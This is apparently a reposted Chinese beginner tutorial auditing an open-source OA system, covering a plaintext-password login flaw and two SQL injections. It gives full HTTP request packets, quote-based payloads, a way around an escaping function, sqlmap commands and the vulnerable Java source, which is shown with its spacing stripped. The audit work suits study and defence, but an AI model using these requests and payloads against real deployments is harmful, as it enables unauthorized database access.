某开源OA代码审计(适用于新手)

admin 2024年2月7日22:55:54评论8 views字数 8810阅读29分22秒阅读模式

某OA代码审计

前言:

学弟的一篇投稿文章,对于刚入门代码审计的新手比较友好

登录框

密码为加密字符串

某开源OA代码审计(适用于新手)

可无视加密,直接用明文登录

某开源OA代码审计(适用于新手)

代码路径/c-core/src/main/java/com/cloudweb/oa/security/LoginAuthenticationProvider.java

某开源OA代码审计(适用于新手)

SQL注入1

漏洞利用

admin/111111

使用账号密码登录OA

某开源OA代码审计(适用于新手)

抓包,构造请求包

POST /oa/address/list HTTP/1.1
Host:10.211.55.2:8096
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Macintosh;IntelMac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/117.0.0.0Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; name=admin; pwd=; JSESSIONID=6637C0F4D46524AAF332FD23A218DF9E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

op=1&userName=2&type=3&typeId=4&person=5&company=6&mobile=7&orderBy=8

发包是这样的,说明路径存在

某开源OA代码审计(适用于新手)

参数“orderBy”处加上单引号,说明存在sql注入

某开源OA代码审计(适用于新手)

放入sqlmap梭哈

python3 sqlmap.py -r url.txt --batch --risk 3--threads 4-3
某开源OA代码审计(适用于新手)

代码分析

打开项目下pom.xml文件,发现存在Mybatis组件,可能存在sql注入

某开源OA代码审计(适用于新手)

按照其他大佬的文章,先搜索Mybatis配置文件中的关键字

${
Statement
createStatement
PrepareStatement
like '%${
in (${
某开源OA代码审计(适用于新手)

找到"${sql}",sql为传入参数,然后要确定这个参数是否为可控参数

往上滑,查找“namespace”里面参数,看看是哪个类使用了mapper

某开源OA代码审计(适用于新手)

这里可以看到,AddressService.java类导入了mapper

某开源OA代码审计(适用于新手)

打开AddressService.java,浏览一下这段代码

package com.cloudweb.oa.service;

import cn.js.fan.db.ListResult;
import cn.js.fan.util.ErrMsgException;
import cn.js.fan.util.StrUtil;
import com.cloudweb.oa.bean.Address;
import com.cloudweb.oa.dao.AddressDao;
import com.github.pagehelper.PageHelper;
import com.github.pagehelper.PageInfo;
import com.redmoon.oa.db.SequenceManager;
import com.redmoon.oa.pvg.Privilege;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;

import javax.annotation.PostConstruct;
import javax.servlet.http.HttpServletRequest;
import java.util.List;
import java.util.Vector;

/**
 * @Author: qcg
 * @Description:
 * @Date: 2018/12/28 14:34
 */

@Service
publicclassAddressService{

publicstaticfinalintTYPE_PUBLIC=1;
publicstaticfinalintTYPE_USER=0;

@Autowired
privateAddressDao addressDao;

@Autowired
privateHttpServletRequest request;

publicAddressService(){
}

privatestaticAddressService addrService;

// 被@PostConstruct修饰的方法会在服务器加载Servlet的时候运行,并且只会被服务器调用一次,类似于Servlet的init()方法。被@PostConstruct修饰的方法会在构造函数之后,init()方法之前运行
// 该注解的方法在整个Bean初始化中的执行顺序:
// Constructor(构造方法) -> @Autowired(依赖注入) -> @PostConstruct(注释的方法)
@PostConstruct//通过@PostConstruct实现初始化bean之前进行的操作,本处是为了支持非spring扫描的包中调用
publicvoidinit(){
        addrService =this;
}

publicAddressDaogetAddressDao(){
        addressDao = addrService.addressDao;
// 也可以通过SpringHelper.getBean获取
/*if (addressDao == null) {
            addressDao = SpringHelper.getBean(AddressDao.class);
        }*/

return addressDao;
}

publicAddressgetAddress(int id){
return getAddressDao().getAddress(id);
}

publicAddressgetAddressByMobile(String mobile){
return getAddressDao().getAddressByMobile(mobile);
}

publicbooleancreate(Address address)throwsErrMsgException{
Stringerrmsg="";
Privilegeprivilege=newPrivilege();
/*  if (address.getTypeId().equals("")) {
            errmsg += "请选择类别!";
        }*/

if(address.getPerson()==null|| address.getPerson().equals("")){
            errmsg +="姓名不能为空!";
}
if(address.getPostalcode().length()>10){
            errmsg +="邮政编码长度不能超过10位!\n";
}
if(!errmsg.equals("")){
thrownewErrMsgException(errmsg);
}

if(address.getType()== TYPE_PUBLIC){
if(!privilege.isUserPrivValid(request,"admin.address.public")){
thrownewErrMsgException(Privilege.MSG_INVALID);
}
}
// 生成id
intid=(int)SequenceManager.nextID(SequenceManager.OA_ADDRESS);
        address.setId(id);
        address.setUserName(privilege.getUser(request));
        address.setUnitCode(privilege.getUserUnitCode(request));
return getAddressDao().create(address);
}

publicbooleandel(int id){
return getAddressDao().del(id);
}

publicbooleansave(Address address)throwsErrMsgException{
Stringerrmsg="";
Privilegeprivilege=newPrivilege();

/*  if (address.getTypeId()==null || address.getTypeId().equals("")) {
            errmsg += "请选择类别!";
        }*/

Stringperson= address.getPerson();
if(person ==null|| person.equals("")){
            errmsg +="姓名不能为空!";
}
if(address.getPostalcode().length()>10){
            errmsg +="邮政编码长度不能超过10位!\n";
}
if(!errmsg.equals("")){
thrownewErrMsgException(errmsg);
}
return getAddressDao().save(address);
}

publicListResultlistSql(String sql){
List<Address> list = getAddressDao().selectList(sql);
Vectorvector=newVector();
        vector.addAll(list);
ListResultlistResult=newListResult();
        listResult.setTotal(list.size());
        listResult.setResult(vector);
return listResult;
}

publicListResultlistResult(String sql,int curPage,int pageSize){
PageHelper.startPage(curPage, pageSize);// 分页查询
List<Address> list = addressDao.selectList(sql);
PageInfo<Address> pageInfo =newPageInfo<>(list);

ListResultlr=newListResult();
Vectorv=newVector();
        v.addAll(list);
        lr.setResult(v);
        lr.setTotal(pageInfo.getTotal());
return lr;
}

publicvoiddelBatch(String ids)throwsErrMsgException{
String[] idTemp = ids.split(",");
Privilegeprivilege=newPrivilege();
StringuserUnitCode= privilege.getUserUnitCode(request);
// 首先判断此数据是否存在
for(String id : idTemp){
Addressaddress= getAddress(StrUtil.toInt(id));
if(address ==null){
thrownewErrMsgException("该项已不存在!");
}
if(address.getType()== TYPE_PUBLIC){
if(!privilege.isUserPrivValid(request,"admin.address.public")||!address.getUnitCode().equals(userUnitCode)){
thrownewErrMsgException(Privilege.MSG_INVALID);
}
}else{
if(!privilege.getUser(request).equals(address.getUserName())){
thrownewErrMsgException("非法操作!");
}
}
            del(StrUtil.toInt(id));
}
}

/**
     * 用于获取sql语句
     * @param op
     * @param userName
     * @param type
     * @param typeId
     * @param person
     * @param company
     * @param mobile
     * @param orderBy
     * @param sort
     * @return
     */

publicStringgetSql(String op,String userName,int type,String typeId,String person,String company,String mobile,String orderBy,String sort,String unit_code){
Stringsql="select * from address where type="+ type;
if(type == TYPE_PUBLIC){
if(typeId.equals("public")){
                op ="search";
                typeId ="";
}
}else{
if(typeId.equals(userName)){
                op ="search";
                typeId ="";
}
}

if(op.equals("search")){
if(type == TYPE_USER){
                sql ="select * from address where userName="+StrUtil.sqlstr(userName)+" and type="+ TYPE_USER;
}else{
                sql ="select * from address where type="+ type;
}
if(!person.equals("")){
                sql +=" and person like "+StrUtil.sqlstr("%"+ person +"%");
}

if(!company.equals("")){
                sql +=" and company like "+StrUtil.sqlstr("%"+ company +"%");
}

if(!typeId.equals("")){
                sql +=" and typeId = "+StrUtil.sqlstr(typeId);
}
if(!mobile.equals("")){
                sql +=" and mobile like "+StrUtil.sqlstr("%"+ mobile +"%");
}
}else{
if(!typeId.equals("")){
                sql +=" and typeId = "+StrUtil.sqlstr(typeId);
}
if(type != TYPE_PUBLIC){
                sql +=" and userName="+StrUtil.sqlstr(userName);
}
}

if(type == TYPE_PUBLIC){
            sql +=" and unit_code="+StrUtil.sqlstr(unit_code);
}

        sql +=" order by "+ orderBy;
        sql +=" "+ sort;
return sql;
}
}

读完代码后,找到这段代码,有读注和一个声明公开的函数,而函数所构造的“sql”参数就是我们要找的

某开源OA代码审计(适用于新手)
某开源OA代码审计(适用于新手)

知道了这个函数是用于拼接并返回“sql”参数的,接下来就要找,是谁在调用这个函数

跟踪函数到AddressController.java

某开源OA代码审计(适用于新手)

sql获取到了所构造的sql语句,然后一起传入了addressService.listResult()函数,接着跟踪listResult()函数

这里可以看到,该函数是已经在返回结果了,说明找的方向不是这个函数

某开源OA代码审计(适用于新手)

重新返回到AddressController.java,发现这两个语句是在list()函数里边的,往上滑,找到了这个函数的使用路径

某开源OA代码审计(适用于新手)

构造路径并访问

http://10.211.55.2:8096/oa/address/list

某开源OA代码审计(适用于新手)

页面存在,抓包,构造参数,参数构造也不麻烦,根据list()函数里面的代码进行构造

某开源OA代码审计(适用于新手)

对这些参数进行注入测试

发现存在sql报错

某开源OA代码审计(适用于新手)

然后sqlmap梭哈即可

SQL注入2

漏洞利用

抓包,构造请求包

POST /oa/admin/getAccountList HTTP/1.1
Host:10.211.55.2:8096
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Macintosh;IntelMac OS X 10_15_7)AppleWebKit/537.36(KHTML, like Gecko)Chrome/117.0.0.0Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: skincode=lte; pwd=; name=admin; JSESSIONID=4F7E4C7131CA421F81FF22EF89960822
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

userName=admin&op=search&by=userName&what=1&searchUnitCode=1&unitCode=root&pageNum=1&pageSize=1

参数”what“和”searchUnitCode“处存在注入点,这里用参数”what“测试

userName=admin&op=search&by=userName&what=1'&searchUnitCode=1&unitCode=root&pageNum=1&pageSize=1
某开源OA代码审计(适用于新手)

sqlmap运行结果

python3 sqlmap.py -r url.txt --batch --risk 3-2

某开源OA代码审计(适用于新手)

代码分析

在Mybits配置文件中查找字符”${“

某开源OA代码审计(适用于新手)

打开该配置文件,找到引用mapper的类

某开源OA代码审计(适用于新手)

在文件中查找

某开源OA代码审计(适用于新手)

阅读该页面代码,在list函数中找到构建sql参数的函数,这里首先要确定哪两个变量是可控的,根据代码可以确定”what“和”searchUnitCode“是可控的变量

某开源OA代码审计(适用于新手)

这里构建完sql语句后,返回sql参数到数据库进行执行

某开源OA代码审计(适用于新手)

查看一下是哪个地方引用了list函数

某开源OA代码审计(适用于新手)

映射的路径以及构造参数都在下面代码里面

某开源OA代码审计(适用于新手)

所以直接构造路径和参数,正常返回信息,页面存在,尝试注入

某开源OA代码审计(适用于新手)

添加了单引号发现并没有出现报错页面,返回sql构造函数那里看看情况

这里发现,输入的参数是经过sqlstr函数进行处理的

某开源OA代码审计(适用于新手)

跟踪sqlstr查看情况

某开源OA代码审计(适用于新手)

这里发现,这段代码是对单引号进行了处理,从而避免了单引号导致mysql报错的问题

接下来是对这个字符处理进行绕过,因为这里只对单引号进行处理,因此可以构造payload

what=1==> what=1''
what=1==> what=1'
某开源OA代码审计(适用于新手)

接下来sqlmap运行即可

原文始发于微信公众号(安全小子大杂烩):某开源OA代码审计(适用于新手)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月7日22:55:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某开源OA代码审计(适用于新手)http://cn-sec.com/archives/2475842.html

发表评论

匿名网友 填写信息